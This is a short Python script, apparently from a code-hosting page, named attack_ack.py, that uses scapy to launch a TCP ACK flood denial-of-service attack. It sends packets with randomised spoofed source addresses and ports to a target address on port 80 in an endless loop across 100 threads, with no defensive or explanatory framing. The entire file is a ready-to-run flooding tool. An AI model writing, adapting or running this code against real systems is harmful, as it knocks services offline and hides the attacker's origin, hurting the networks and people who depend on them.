-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathattack_ack.py
30 lines (24 loc) · 859 Bytes
/
attack_ack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from scapy.all import IP, TCP, RandIP, RandShort, sendp
import threading
target_ip = "192.168.1.1"
target_port = 80
def ack_flood_worker(target_ip, target_port):
while True:
try:
src_ip = RandIP()
src_port = RandShort()
ip = IP(src=src_ip, dst=target_ip)
tcp = TCP(sport=src_port, dport=target_port, flags="A")
packet = ip/tcp
sendp(packet, verbose=False)
except Exception as e:
print(f"Error: {e}")
def ack_flood(target_ip, target_port, num_threads=10):
threads = []
for _ in range(num_threads):
thread = threading.Thread(target=ack_flood_worker, args=(target_ip, target_port))
threads.append(thread)
thread.start()
for thread in threads:
thread.join()
ack_flood(target_ip, target_port, num_threads=100)